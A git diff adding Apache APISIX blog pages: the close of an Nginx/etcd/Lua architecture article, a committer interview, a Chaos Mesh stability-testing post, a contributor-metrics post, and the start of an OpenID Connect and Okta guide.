+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#79C0FF">server</span><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#E6EDF3"> server_name _;</span></span>
+<span class="line"><span style="color:#E6EDF3"> location </span><span style="color:#FF7B72">/</span><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#79C0FF"> access_by_lua_block</span><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#E6EDF3"> apisix.</span><span style="color:#79C0FF">http_access_phase</span><span style="color:#E6EDF3">()</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3"> proxy_pass $</span><span style="color:#FFA657">upstream_scheme</span><span style="color:#E6EDF3">:</span><span style="color:#FF7B72">//</span><span style="color:#E6EDF3">apisix_backend$upstream_uri;</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>The <code>http_access_phase</code> function will match Method, domain and URI based on a base prefix tree implemented in C (only wildcards are supported, no regular expressions), the library is [lua-resty-radixtree](<a href="https://github.com/api7/lua">https://github.com/api7/lua</a> -resty-radixtree). Whenever the routing rules change, the Lua code rebuilds this base tree: the</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="lua"><code><span class="line"><span style="color:#FF7B72">function</span><span style="color:#D2A8FF"> _M</span><span style="color:#E6EDF3">.</span><span style="color:#D2A8FF">match</span><span style="color:#E6EDF3">(api_ctx)</span></span>
+<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#FF7B72"> not</span><span style="color:#E6EDF3"> cached_version </span><span style="color:#FF7B72">or</span><span style="color:#E6EDF3"> cached_version </span><span style="color:#FF7B72">~=</span><span style="color:#E6EDF3"> user_routes.</span><span style="color:#79C0FF">conf_version</span><span style="color:#FF7B72"> then</span></span>
+<span class="line"><span style="color:#E6EDF3"> uri_router </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> base_router.</span><span style="color:#79C0FF">create_radixtree_uri_router</span><span style="color:#E6EDF3">(user_routes.</span><span style="color:#79C0FF">values</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#E6EDF3"> uri_routes, </span><span style="color:#79C0FF">false</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"><span style="color:#E6EDF3"> cached_version </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> user_routes.</span><span style="color:#79C0FF">conf_version</span></span>
+<span class="line"><span style="color:#FF7B72"> end</span></span>
+<span class="line"><span style="color:#FF7B72">end</span></span></code></pre>
+<p>The rules for Plugin enablement, parameter and order adjustment are similar.</p>
+<p>Finally, Script is mutually exclusive with Plugin. In fact, Lua JIT’s just-in-time compilation provides another killer feature, loadstring, which converts strings to Lua code. So, after storing Lua code in etcd and setting it to Script, you can pass it to Nginx to process requests.</p>
+<h2 id="summary">Summary</h2>
+<p>Nginx cluster management must rely on a centralized configuration component, and etcd, which is highly reliable and has a watch push mechanism, is the perfect choice! Although the Resty ecosystem does not have a gRPC client, it is still a good idea for each worker process to synchronize etcd configuration directly via the HTTP/1.1 protocol.</p>
+<p>The key to dynamically modifying the Nginx configuration is 2 things: the Lua language is much more flexible than the nginx.conf syntax, and Lua code can be imported from external data via loadstring. Of course, to ensure efficient execution of route matching, Apache APISIX implements a prefix base tree in C to match requests based on Host, Method, and URI, improving performance while maintaining dynamism.</p>
+<p>Apache APISIX has many good designs, and this article only discusses the dynamic management of Nginx clusters.</p>
+<p><a href="https://www.taohui.tech/2021/08/10/%E5%BC%80%E6%BA%90%E7%BD%91%E5%85%B3APISIX%E6%9E%B6%E6%9E%84%E5%88%86%E6%9E%90/#more">click here for the link to the original article</a></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-ev [...]
\ No newline at end of file
diff --git a/blog/2021/08/11/interview-tuzhengsong/index.html b/blog/2021/08/11/interview-tuzhengsong/index.html
new file mode 100644
index 00000000000..10414d212ff
--- /dev/null
+++ b/blog/2021/08/11/interview-tuzhengsong/index.html
@@ -0,0 +1,86 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>My first PR in the Apache APISIX community | Apache APISIX</title><meta name="description" content="This article introduces Apache APISIX Zhengsong Tu's growth experience as a committer, and why he should participate in the Apache APISIX community and his contributions to the community."><meta name="robots" content="index,follow"><link rel="canonical" hre [...]
+<p>This interview is about Zhengsong Tu’s journey from an open source community nerd to an APISIX committer for Apache’s top open source project. Zhengsong Tu (GitHub ID: tzssangglass) was elected as an Apache APISIX committer on July 22, 2021 for his deep involvement in Apache APISIX development and his many contributions to the community.</p>
+</blockquote>
+<!--truncate-->
+<blockquote>
+<p>When I saw that issue, I had a strong urge to get involved in the community. After reading the community’s newbie guide, I was like a brave man coming out of the newbie village, ready to fight.</p>
+<p>— Zhengsong Tu, Apache APISIX committer</p>
+</blockquote>
+<p>In 282 days, Zhengsong Tu (GitHub ID: tzssangglass) has grown from an open source community nerd to an Apache APISIX committer.</p>
+<p><img src="https://static.apiseven.com/202108/1639549454040-de5d7598-83b7-483f-a5da-55fedeb5fa90.png" alt="Apache APISIX committer tzssangglass github"></p>
+<p>Zhengsong Tu was elected as Apache APISIX committer on July 22, 2021 for his deep involvement in Apache APISIX development and many contributions in the community.</p>
+<p>On an uneventful afternoon, we chatted with Zhengsong by phone. Because of the epidemic, he has not been out for many days in Nanjing. Before I talked to him, I didn’t expect that the bearded man had traveled such a winding road.</p>
+<h2 id="university-my-university">University, my university</h2>
+<blockquote>
+<p>When I was in college, I studied communication engineering, and the happiest thing I did every day was to play soccer. Now sometimes I think that it would be nice to go back to my college days with the memories I have now.</p>
+</blockquote>
+<p>Zhengsong actually didn’t have much contact with programming during his college years, he actually had a C programming class, but he failed it because he was too busy playing soccer. However, he failed a make-up exam after failing the class, resulting in a retake. The most embarrassing thing is that he failed the retake as well, so what did he do afterwards? There was a graduation clearing exam before graduation. This can not be failed again, so Zhengsong went to the library to borrow [...]
+<p>“I was thinking, “Is C really that hard?” Zhengsong said.</p>
+<p>Then he kept reading and reading and reading, and suddenly he realized that programming seemed to have some meaning, and he understood it! He finally passed the exam before graduating. After graduation, he found a job as a programmer.</p>
+<p>“I was ready to graduate and go home and find a factory to work.” , he said half-jokingly.</p>
+<p>At that time, he probably wouldn’t have thought that today he would be the developer of several well-known open source projects, and involved in the development of some infrastructure that supports millions of concurrent traffic.</p>
+<h2 id="out-of-the-ivory-tower">Out of the Ivory Tower</h2>
+<blockquote>
+<p>In industry, the real business scenario is very different from what you learn in school.</p>
+</blockquote>
+<p>Zhengsong’s first job was at a wearable device startup, working on the development of smart bracelets. Zhengsong and his former colleagues had to process various sensor data from the smart bracelet to monitor the user’s heart rate, exercise, blood pressure and so on.</p>
+<p>“It was fun because in industry, the real business scenario is very different from what you learn in school, and a lot of things have to be learned from scratch,” Zhengsong said.</p>
+<p>One day after work, the owner of this company suddenly sent a message saying that the company’s employees were on temporary leave and that they would wait to be notified when to work.</p>
+<p>Zhengsong felt something was wrong at that time, how to work well, suddenly on vacation? Then he immediately opened the recruitment software and started looking for a new job. Later, he found out that the owner of the company had a contract dispute with the supplier, and the company was briefly shut down.</p>
+<p>Then, Zhengsong went to another company to engage in back-end business development work, to learn the industry norms and further improve technology. After almost a year, he joined the development team of a large company to work on middleware-related development because he liked the simplicity and high performance of technologies like Nginx, OpenResty, and Netty.</p>
+<p>“In this big company, I did a little bit far from the business, more technically oriented. “Zhengsong said.</p>
+<p>Zhengsong’s contact with Apache APISIX was in September 2020, when his team was using Kong, but Kong was not fully meeting their needs, so they redid the technical selection of the gateway to try to find a better solution. Zhengsong was in charge of this technical selection, so he came across the Apache Foundation’s top project, Apache APISIX, and was introduced to the Apache APISIX community.</p>
+<p>At that time, he had already graduated more than three years ago.</p>
+<h2 id="out-of-the-newbie-village">Out of the newbie village</h2>
+<blockquote>
+<p>I can submit code to the Apache Foundation’s top projects! As a technical worker, that’s a lot of technical confidence.</p>
+</blockquote>
+<p>Zhengsong’s first PR in the open source community was an enhancement type PR, which enabled Apache APISIX to support multi-port listening.</p>
+<ul>
+<li>issue: <a href="https://github.com/apache/apisix/issues/1195">https://github.com/apache/apisix/issues/1195</a></li>
+<li>PR: <a href="https://github.com/apache/apisix/pull/2409">https://github.com/apache/apisix/pull/2409</a></li>
+</ul>
+<p>This feature is needed by Zhengsong and has been mentioned in the issue area for a long time, but for some reason it has been unclaimed. Before that, Zhengsong happened to know something about this, so he thought, “I can propose a PR to Apache APISIX to fix this problem. “So he volunteered to have the issue assigned to him in the issue.</p>
+<p>He says, “I had a strong urge to get involved in the community, and then I looked at the Apache APISIX community’s Beginner’s Guide and was as excited to get involved as if I were coming out of the Beginner’s Village with a weapon.”</p>
+<p>After choosing this issue, Zhengsong started discussing details with his community partners on GitHub, such as the style of the configuration port, the idea of the implementation, and so on. After the discussion, he started to implement it. Every night after work, he went through the Apache APISIX code and tested the use cases. After three or four nights of struggling, the test ran for the first time!</p>
+<p>Zhengsong was very excited and immediately followed the guide to bring up the PR. Then he accepted the comments from Code Review and further modified the code. Finally, on October 18, the PR was successfully merged into the repository.</p>
+<p><img src="https://static.apiseven.com/202108/1639549390155-6b6cb167-8c9a-43fb-8859-f58cd6b1aae7.png" alt="Apache APISIX committer tzssangglass pr"></p>
+<p>“I was very excited and felt like I was finally substantially involved in the open source community. I could submit code to the Apache Foundation’s top projects! As a technical worker, it was a technical confidence.”</p>
+<p><strong>This is Zhengsong’s first PR in the open source world.</strong></p>
+<h2 id="things-that-impressed-me-in-the-community">Things that impressed me in the community</h2>
+<blockquote>
+<p>Because etcd has a MaxCallRecvMsgSize limit, it was most elegant and appropriate to go to the source of etcd.</p>
+</blockquote>
+<p>When we asked what was the thing that impressed Zhengsong most in the community, Zhengsong thought about it and said it was probably a bug-related issue: etcd’s MaxCallRecvMsgSize limitation.</p>
+<p>Zhengsong had been tormented by etcd’s return size limitation problem, and the community had reflected and discussed this problem many times, but it was not very elegant on Apache APISIX no matter how it was handled.</p>
+<p>In April this year, one of our partners submitted a PR to etcd, which finally solved the problem. When Zhengsong heard about this, he was very shocked, he didn’t think it would be solved in such a way. But in hindsight, this was the way to go.</p>
+<p>“Because etcd has a MaxCallRecvMsgSize limit, it’s most elegant and appropriate to go to the source of etcd. This is great example of cross-community collaboration,” says Zhengsong.</p>
+<h2 id="sir-this-way">Sir, this way</h2>
+<blockquote>
+<p>We’re all working together differently, but we’re all contributing to open source.</p>
+</blockquote>
+<p>Zhengsong says that when he first started participating in the community, he went through most of the APISIX documentation he could see at the time. So when he was working in his company, his colleagues asked him questions, and although he was not very clear, he knew the distribution of the project’s documentation, so he could look it up directly and know roughly what the problem was. He believes that reading the documentation is an appropriate way to get familiar with the project.</p>
+<p>The Apache APISIX project website has a good guide for newcomers, including how to raise PR. If you want to participate in the community, you can first read the main documentation on the website and Github to get a basic understanding of the project and the distribution of the project’s documentation, and then index the documentation as needed.</p>
+<p>If you want to contribute to the code, or participate in the design, some knowledge of Nginx or OpenResty is necessary. This includes looking at their official documentation and code, and learning about their implementation of relevant features.</p>
+<p>Zhengsong said, “I think this step is impossible to skip.”</p>
+<p>Of course, you can get involved in the community as a user. For example, if you think there is something wrong with the documentation, or if you follow the documentation and find that it is not the case, you can also raise some issues to point out these problems.</p>
+<p>We are all working together, but we are all contributing to open source.</p>
+<h2 id="everyone-is-welcome-in-the-community">Everyone is welcome in the community</h2>
+<blockquote>
+<p>But it’s better this way</p>
+</blockquote>
+<p>Zhengsong said, we are all in the open source community, the first thing to pay attention to is to comply with some of the community rules, and the community of partners to communicate on an equal footing.</p>
+<p>The points to note when communicating can be divided into two kinds.</p>
+<p>The first is that if you encounter some problems, then you should try to accurately describe the problem and provide reproducible use cases. This is actually the most popular, or one of the most effective ways to improve communication. If you can describe a problem very clearly, then people will naturally answer the question very high efficiency.</p>
+<p>The second is that if you are proposing ideas, solving problems, etc., before you do it, for points of ambiguity, you need to discuss them in a public forum, such as issue, mailing lists, etc., to reach agreement in the community, and then start doing it after you have achieved consensus.</p>
+<h2 id="about-apache-way">About Apache Way</h2>
+<blockquote>
+<p>Consensus will also be updated, and it is a force for the community to move the project forward.</p>
+</blockquote>
+<p>The Apache Way, as Zhengsong understands it, is about community over code.</p>
+<p>He believes that the community is essentially a collaboration between people, where everyone divides up the work and does their own job. But before we cooperate and do our own work, we need to form some consensus.</p>
+<p>Consensus is built up little by little. The community participants throw out a problem, and the community will discuss, argue, verify, and finally solve these problems. In this process, consensus is slowly formed in the community, and it may be a norm, a boundary, or some other form of consensus. Consensus is also updated, and it is a force for the community to move the project forward. This process has some idealistic overtones.</p>
+<p>Community consensus is actually more important than you making code contributions, because with consensus, when you go back to a point of change later, it will be clearer to know the origin of the change and the perspective at that time.</p>
+<h2 id="finally">Finally</h2>
+<p>Finally, before we shut down the mike, we asked Zhengsong to recommend something to us. After thinking about it, Zhengsong said, “I recommend a German film related to social engineering, Who Am I: No Absolutely Safe System, and a book by Fei-Li Kong, Calling the Spirits: The Great Chinese Demon Panic of 1768. I hope you will not forget to enrich your spiritual life even in the midst of your busy work. ”</p>
+<p>That’s it for this interview! Which community member will we interview next time? Check out the Apache APISIX community and find out! Maybe you’ll be the next committer!</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events< [...]
\ No newline at end of file
diff --git a/blog/2021/08/12/chaos-mesh-helps-apache-apisix-improve-system-stability/index.html b/blog/2021/08/12/chaos-mesh-helps-apache-apisix-improve-system-stability/index.html
new file mode 100644
index 00000000000..11297392036
--- /dev/null
+++ b/blog/2021/08/12/chaos-mesh-helps-apache-apisix-improve-system-stability/index.html
@@ -0,0 +1,51 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Chaos Mesh Helps Apache APISIX Improve System Stability | Apache APISIX</title><meta name="description" content="This article explains why Chaos Mesh was chosen as the ultimate solution for stability testing, and how to use Chaos Mesh in Apache APISIX."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2 [...]
+<p>This article explains how system stability create some pain points in different scenarios. Then it tells the stories of why the author chose Chaos Mesh as the ultimate solution,and how to use Chaos Mesh in Apache APISIX. In the end, there is also future plans for this solution, including run a chaos test in E2E simulation scenarios, add chaos tests to more Apache APISIX projects, and add features to Chaos Mesh.</p>
+</blockquote>
+<!--truncate-->
+<p><a href="https://github.com/apache/apisix">Apache APISIX</a> is a cloud-native, high-performance, scaling microservices API gateway. It is one of the Apache Software Foundation’s top-level projects and serves hundreds of companies around the world, processing their mission-critical traffic, including finance, the Internet, manufacturing, retail, and operators. Our customers include NASA, the European Union’s digital factory, China Mobile, and Tencent.</p>
+<p><img src="https://static.apiseven.com/202108/1639466553989-ecae1a31-8121-4390-a830-f386b9b12322.png" alt="Apache APISIX architecture"></p>
+<p>As our community grows, Apache APISIX’s features more frequently interact with external components, making our system more complex and increasing the possibility of errors. To identify potential system failures and build confidence in the production environment, we introduced the concept of Chaos Engineering.</p>
+<p>In this post, we’ll share how we use <a href="https://chaos-mesh.org/docs/">Chaos Mesh®</a> to improve our system stability.</p>
+<h2 id="our-pain-points">Our pain points</h2>
+<p>Apache APISIX processes tens of billions of requests a day. At that volume level, our users have noticed a couple of issues:</p>
+<p><strong>Scenario #1:</strong></p>
+<p>In Apache APISIX’s configuration center, when unexpectedly high network latency occurs between etcd and Apache APISIX, can Apache APISIX still filter and forward traffic normally?</p>
+<p><strong>Scenario #2:</strong></p>
+<p>When a node in the etcd cluster fails and the cluster can still run normally, an error is reported for the node’s interaction with the Apache APISIX admin API.</p>
+<p>Although Apache APISIX has covered many scenarios through unit, end-to-end (E2E), and fuzz tests in continuous integration (CI), it has not covered the interaction scenario with external components. If the system behaves abnormally, for example, if the network jitters, a hard disk fails, or a process is killed, can Apache APISIX give appropriate error messages? Can it keep running or restore itself to normal operation?</p>
+<h2 id="why-we-chose-chaos-mesh">Why we chose Chaos Mesh</h2>
+<p>To test these user scenarios and to discover similar problems before our product goes into production, our community decided to use Chaos Mesh for chaos testing.</p>
+<p>Chaos Mesh is a cloud-native Chaos Engineering platform that features all-around fault injection methods for complex systems on Kubernetes, covering faults in Pod, the network, file system, and even the kernel. It helps users find weaknesses in the system and ensures that the system can resist out-of-control situations in the production environment.</p>
+<p>Like Apache APISIX, Chaos Mesh has an active open source community. We know that an active community can ensure stable software use and rapid iteration. This makes Chaos Mesh more attractive.</p>
+<h2 id="how-we-use-chaos-mesh-in-apisix">How we use Chaos Mesh in APISIX</h2>
+<p>Chaos Engineering has grown beyond simple fault injection and now forms a complete methodology. To create a chaos experiment, we determined what the normal operation or “steady state” of our application should be. We then introduced potential problems to see how the system responded. If the problems knocked the application out of its steady state, we fixed them.</p>
+<p>Now, we’ll take the two scenarios we mentioned to show you how we use Chaos Mesh in Apache APISIX.</p>
+<h3 id="scenario-1">Scenario #1</h3>
+<p>We deployed a Chaos Engineering experiment using the following steps:</p>
+<ol>
+<li>
+<p>We found metrics to measure whether Apache APISIX is running normally. In the test, the most important method is to use Grafana to monitor the Apache APISIX’s running metrics. We extracted data from Prometheus in CI for comparison. Here, we used the routing and forwarding requests per second (RPS) and etcd connectivity as evaluation metrics. We analyzed the log. For Apache APISIX, we checked Nginx’s error log to determine whether there was an error and whether the error was in line wi [...]
+</li>
+<li>
+<p>We performed a test in the control group. We found that both <code>create route</code> and <code>access route</code> were successful, and we could connect to etcd. We recorded the RPS.</p>
+</li>
+<li>
+<p>We used network chaos to add a five second network latency and then retested. This time, <code>set route</code> failed, <code>get route</code> succeeded, etcd could be connected to, and RPS had no significant change compared to the previous experiment. The experiment met our expectations.</p>
+</li>
+</ol>
+<p><img src="https://static.apiseven.com/202108/1639462804552-8d51872f-3419-4e64-b365-4ef7cbb2a388.png" alt="High network latency occurs between etcd and Apache APISIX"></p>
+<h3 id="scenario-2">Scenario #2</h3>
+<p>After we conducted the same experiment as above in the control group, we introduced pod-kill chaos and reproduced the expected error. When we randomly deleted a small number of etcd nodes in the cluster, sometimes APISIX could connect to etcd and sometimes not, and the log printed a large number of connection rejection errors.</p>
+<p>When we deleted the first or third node in the etcd endpoint list, the <code>set route</code> returned a result normally. However, when we deleted the second node in the list, the <code>set route</code> returned the error “connection refused.”</p>
+<p>Our troubleshooting revealed that the etcd Lua API used by Apache APISIX selected the endpoint sequentially, not randomly. Therefore, when we created an etcd client, we bound to only one etcd endpoint. This led to continuous failure.</p>
+<p>After we fixed this problem, we added a health check to the etcd Lua API to ensure that a large number of requests would not be sent to the disconnected etcd node. To avoid flooding the log with errors, we added a fallback mechanism when the etcd cluster was completely disconnected.</p>
+<p><img src="https://static.apiseven.com/202108/1639462935848-b87400d3-e59b-4e6d-84f9-25c2771d48d3.png" alt="An error is reported from one etcd node’s interaction with the Apache APISIX admin API"></p>
+<h2 id="our-future-plans">Our future plans</h2>
+<h3 id="run-a-chaos-test-in-e2e-simulation-scenarios">Run a chaos test in E2E simulation scenarios</h3>
+<p>In Apache APISIX, we manually identify system weaknesses for testing and repair. As in the open source community, we test in CI, so we don’t need to worry about the impact of Chaos Engineering’s failure radius on the production environment. But the test cannot cover complicated and comprehensive application scenarios in the production environment.</p>
+<p>To cover more scenarios, the community plans to use the existing E2E test to simulate more complete scenarios and conduct chaos tests that are more random and cover a larger range.</p>
+<h3 id="add-chaos-tests-to-more-apache-apisix-projects">Add chaos tests to more Apache APISIX projects</h3>
+<p>In addition to finding more vulnerabilities for Apache APISIX, the community plans to add chaos tests to more projects such as Apache APISIX Dashboard and Apache APISIX Ingress Controller.</p>
+<h3 id="add-features-to-chaos-mesh">Add features to Chaos Mesh</h3>
+<p>When we deployed Chaos Mesh, some features were temporarily unsupported. For example, we couldn’t select a service as a network latency target or specify container port injection as network chaos. In the future, the Apache APISIX community will assist Chaos Mesh to add related features.</p>
+<p>You’re welcome to contribute to the <a href="https://github.com/apache/apisix">Apache APISIX project</a> on GitHub. If you are interested in Chaos Mesh and would like to improve it, join its <a href="https://slack.cncf.io/">Slack channel</a> (#project-chaos-mesh) or submit your pull requests or issues to its <a href="https://github.com/chaos-mesh/chaos-mesh">GitHub repository</a>.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-co [...]
\ No newline at end of file
diff --git a/blog/2021/08/14/contributors-the-golden-metric-of-opensource-projects/index.html b/blog/2021/08/14/contributors-the-golden-metric-of-opensource-projects/index.html
new file mode 100644
index 00000000000..727fe001066
--- /dev/null
+++ b/blog/2021/08/14/contributors-the-golden-metric-of-opensource-projects/index.html
@@ -0,0 +1,46 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Contributors — The Golden Metric of OpenSource Projects | Apache APISIX</title><meta name="description" content="This article explains why change in the number of contributors is a golden measure of open source projects, and analyzes trends in contributors to Apache APISIX."><meta name="robots" content="index,follow"><link rel="canonical" href="https://ap [...]
+<p>According to GitHub’s statistics in 2020, over 60 million new repositories were added, and more than 56 million developers worked on OpenSource projects. By 2025, the number of developers working on OpenSource projects on GitHub is expected to exceed 100 million.</p>
+</blockquote>
+<!--truncate-->
+<blockquote>
+<p>Source:
+<a href="https://github.com/api7/contributor-graph">https://github.com/api7/contributor-graph</a></p>
+</blockquote>
+<p>Behind these fast-growing numbers, open source maintainers did a lot of work on propaganda, article, media, Meetups, etc., to attract more developers for their projects, It’s a lot to take in.</p>
+<p>So for developers, how can they find out which one is the best fit for their company among the hundreds of projects on GitHub?</p>
+<p>Various indicators of open source projects needs to be considered.</p>
+<p>Star number: This is the most direct indicator, it represents the project has attracted the attention of a number of developers, can reflect the level of marketing of the project. If the project has the financial support of commercial companies, a strong PR team, or a water army to paint Star, then this indicator can easily be distorted.</p>
+<p>Issue and PR counts: Also GitHub provides the Insights feature, shown in the following image.</p>
+<p><img src="https://static.apiseven.com/202108/1639549315114-8bcc2d6d-a67b-48a2-be1e-0831c2441921.png" alt="Apache APISIX GitHub Insights"></p>
+<p>You can select the number of new and closed issues and PRs for this open source project, can also filter by period.</p>
+<p>The above graph shows the data of Apache APISIX for the last month.</p>
+<p>GitHub insights provides a great developer perspective, but it’s not perfect: what about the quality of Issue and PR?</p>
+<p>The following graph shows the commit frequency statistics of Apache APISIX from it’s first day, which shows that Apache APISIX has maintained a very stable and continuous activities, but this metric is also a bit thin: you can’t see the data of which developers submitted these commits</p>
+<p><img src="https://static.apiseven.com/202108/1639549239894-1406e1d6-ae84-4364-89cd-1b63f6f4cd4b.png" alt="Apache APISIX commits"></p>
+<p>after reading so many indicators, still you can’t get your answer, don’t you think that choosing an open source project is so complicated? Wait!</p>
+<p>Is there a “golden metric”, a metric that cannot be mocked by marketing? A core metric that can tell the truth of a project?
+As maintainers and developers of open source projects, we also need such golden metrics to guide us. Therefore, we propose two dimensions, “Contributor Growth” and “Active Contributors”, and open source the statistics and analysis process: <a href="https://github.com/api7/contributor-graph">https://github.com/api7/contributor-graph</a>, you can also search directly through <a href="https://www.apiseven.com/zh/contributor-graph">https://www.apiseven.com/zh/contributor-graph</a>. Here is a [...]
+<h2 id="contributor-growth">Contributor growth</h2>
+<p><img src="https://static.apiseven.com/202108/1639549136527-e477c670-42d3-4764-9432-209c34dd222b.png" alt="Apache APISIX contributor growth"></p>
+<h2 id="monthly-active-contributors">Monthly Active Contributors</h2>
+<p><img src="https://static.apiseven.com/202108/1639548976021-ed0946ae-eeb2-4dfc-8e15-c3db13f527e0.png" alt="Apache APISIX Monthly Active Contributors"></p>
+<p>As you can clearly see from the two tables above, Apache APISIX has seen a steady growth in contributors since its first day, with about 25 contributors participating each month.</p>
+<h2 id="comparison-on-multi-repo">Comparison on Multi Repo</h2>
+<p>Both the “Contributor Growth” and “Active Contributors” charts support comparisons across multiple repositories. What’s more, we pull the GitHub API to update the charts on a daily/monthly basis, so your repository can always display real-time contributor data by making a one-time copy using the link we provide.</p>
+<p>The contributor growth line plot is based on the date of the first commit by each contributor to the project. The contributor growth line chart allows us to see the growth of the community based on the total number of contributors shown on the GitHub homepage.</p>
+<p>By showing line plot for multiple repo in the same chart at the same time, we can also visually compare the development of different communities.</p>
+<p><img src="https://static.apiseven.com/202108/1639548845735-43efcae0-3221-4739-b10f-0d9aaafad3fd.png" alt="Apache APISIX compare the development of different communities"></p>
+<p>In the graph above, we can see that the number of contributors to Apache APISIX is growing at a very fast rate, and in just two years, the number of contributors has almost caught up with or even surpassed other open source API gateway projects.</p>
+<p>The monthly contributor line plot is derived from the number of contributors committing each month.</p>
+<p>Compared to the contributor growth line plot, the monthly contributors are a better measure of how the community has grown in a short period of time.</p>
+<p><img src="https://static.apiseven.com/202108/1639548683512-d7c7a72b-7ac3-4535-bd1a-f056d05d196b.png" alt="Apache APISIX monthly contributors compare"></p>
+<p>For example, in the graph above, we can see that Apache APISIX has the highest and most consistent number of monthly contributors of any open source API gateway project.</p>
+<p>This explains why Apache APISIX has been able to catch up with its friends in terms of total contributors in such a short period of time since it’s first day of open source.</p>
+<p><img src="https://static.apiseven.com/202108/1639548241386-6ba96e66-5ab7-468e-9072-6144fb902909.png" alt="Apache APISIX monthly contributors"></p>
+<p>The above graph is comparison of monthly contributors between different MQ community, which is also widely discussed on Twitter. With this chart, we can see that Apache Pulsar is catching up to Apache Kafka in terms of contributors of the month.</p>
+<h2 id="conclusion">Conclusion</h2>
+<p>The contributor graph is currently used in Apache APISIX, Apache Skywalking, Apache DolphinScheduler, Apache Openwhisk, Apache ShardingSphere, awesome-docker, TiDB docs-dm, and many other open source projects.</p>
+<p>Also, we implemented more features, such as adding “anonymous” contributors, or adding SVN-side contributors after the project was moved from SVN to GitHub.</p>
+<p>When we talked about the Contributor Graph, not only did we want to use this tool to produce a visual graph of how active the Apache APISIX community is, we also made this little tool open sourced in the hopes that it will help other open source projects.</p>
+<p>You are welcome to use the Contributor Graph to track your community activity, and any requests or questions are welcome in the Contributor Graph GitHub repository.</p>
+<p>You can visit the Contributor Graph <a href="https://github.com/api7/contributor-graph">repository</a>.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a [...]
\ No newline at end of file
diff --git a/blog/2021/08/16/using-the-apache-apisix-openid-connect-plugin-for-centralized-authentication/index.html b/blog/2021/08/16/using-the-apache-apisix-openid-connect-plugin-for-centralized-authentication/index.html
new file mode 100644
index 00000000000..2999dcba11d
--- /dev/null
+++ b/blog/2021/08/16/using-the-apache-apisix-openid-connect-plugin-for-centralized-authentication/index.html
@@ -0,0 +1,253 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>APISIX OpenID Connect Plugin with Okta Authentication | Apache APISIX</title><meta name="description" content="Step-by-step guide to configure the APISIX openid-connect plugin with Okta for centralized API authentication and SSO."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/08/16/using-the-apa [...]
+<p>This blog shows the procedures of using Apache APISIX OpenID Connect Plugin for Okta Centralized Authentication. This blog contains conceptual introductions of Apache APISIX and Okta Centralized Authentication, and detailed step-by-step instructions.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="introducing-apache-apisix">Introducing Apache APISIX</h2>
+<p><a href="https://github.com/apache/apisix">Apache APISIX</a> is a dynamic, real-time, high-performance API gateway, providing rich traffic management. The project offers load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and many useful plugins. In addition, the gateway supports dynamic plugin changes along with hot-plugging. The OpenID Connect plugin for Apache APISIX allows users to replace traditional authentication mode with centrali [...]
+<h2 id="introducing-okta">Introducing Okta</h2>
+<p>Okta is a trusted platform to secure every identity. It is a customizable, secure, and drop-in solution to add authentication and authorization services to your applications. More than 10,650 organizations trust Okta’s software and APIs to sign in, authorize and manage users.</p>
+<h2 id="what-is-identity-authentication">What Is Identity Authentication</h2>
+<p>Identity Authentication verifies a user’s identity by specific means. We obtain detailed user metadata from the Identity Provider (IdP) to determine whether a user has access to particular resources.</p>
+<h2 id="identity-authentication-modes">Identity Authentication Modes</h2>
+<p>There are two main categories of identity authentication: <em>traditional mode</em> and <em>centralized mode</em>.</p>
+<h3 id="traditional-authentication-mode">Traditional Authentication Mode</h3>
+<p>In the traditional authentication mode, each application service needs to support authentication separately, such as accessing the login interface when the user is not logged in. The interface returns a 301 jump page. All application services need to develop the logic to maintain the session and interact with the identity provider for authentication.</p>
+<p>You can see the flow of traditional authentication in the figure below.</p>
+<p>First, the user initiates a request, then the gateway receives the request and forwards it to the corresponding application services, and finally, the application services interact with the identity provider to complete the authorization.</p>
+<p><img src="https://static.apiseven.com/202108/1639467045776-715e1805-540b-4cef-87c5-6166e2af43a8.png" alt="traditional authentication work flow"></p>
+<h3 id="centralized-identity-authentication-mode">Centralized Identity Authentication Mode</h3>
